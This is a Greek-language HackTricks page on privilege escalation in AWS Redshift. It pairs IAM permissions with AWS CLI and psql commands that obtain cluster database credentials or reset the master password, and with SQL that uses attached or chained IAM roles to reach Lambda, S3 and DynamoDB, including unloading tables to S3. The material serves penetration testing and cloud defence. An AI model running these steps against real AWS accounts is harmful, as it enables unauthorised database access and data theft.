AWS - Redshift Privesc

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στο 💬 Discord group ή στο telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

Redshift

Για περισσότερες πληροφορίες σχετικά με το RDS ελέγξτε:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Με αυτές τις άδειες μπορείτε να αποκτήσετε πληροφορίες για όλα τα clusters (συμπεριλαμβανομένου του ονόματος και του ονόματος χρήστη του cluster) και να αποκτήσετε διαπιστευτήρια για να έχετε πρόσβαση σε αυτό:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Με αυτές τις άδειες μπορείτε να αποκτήσετε πληροφορίες για όλα τα clusters και να αποκτήσετε διαπιστευτήρια για να έχετε πρόσβαση σε αυτά. Σημειώστε ότι ο χρήστης postgres θα έχει τις άδειες που έχει η ταυτότητα IAM που χρησιμοποιήθηκε για να αποκτήσει τα διαπιστευτήρια.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων.

redshift:DescribeClusters, redshift:ModifyCluster?

Είναι δυνατόν να τροποποιήσετε τον κύριο κωδικό πρόσβασης του εσωτερικού χρήστη postgres (redshit) από το aws cli (νομίζω ότι αυτές είναι οι άδειες που χρειάζεστε αλλά δεν τις έχω δοκιμάσει ακόμα):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στις βάσεις δεδομένων.

Πρόσβαση σε Εξωτερικές Υπηρεσίες

Για να αποκτήσετε πρόσβαση σε όλους τους παρακάτω πόρους, θα χρειαστεί να καθορίσετε τον ρόλο που θα χρησιμοποιήσετε. Ένα cluster Redshift μπορεί να έχει ανατεθεί μια λίστα ρόλων AWS που μπορείτε να χρησιμοποιήσετε αν γνωρίζετε το ARN ή μπορείτε απλά να ορίσετε το "default" για να χρησιμοποιήσετε τον προεπιλεγμένο που έχει ανατεθεί.

Επιπλέον, όπως εξηγείται εδώ, το Redshift επιτρέπει επίσης τη συγχώνευση ρόλων (αρκεί ο πρώτος να μπορεί να αναλάβει τον δεύτερο) για να αποκτήσετε περαιτέρω πρόσβαση, απλά χωρίζοντάς τους με μια κόμμα: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, είναι δυνατό να καλέσετε μια συνάρτηση lambda από το redshift με κάτι σαν:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, είναι δυνατόν να διαβάσετε και να γράψετε σε S3 buckets:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Όπως εξηγείται στο https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, είναι δυνατόν να πάρετε δεδομένα από το dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Ο πίνακας Amazon DynamoDB που παρέχει τα δεδομένα πρέπει να δημιουργηθεί στην ίδια περιοχή AWS με το cluster σας, εκτός αν χρησιμοποιήσετε την επιλογή REGION για να καθορίσετε την περιοχή AWS στην οποία βρίσκεται ο πίνακας Amazon DynamoDB.

EMR

Ελέγξτε https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Αναφορές

• https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.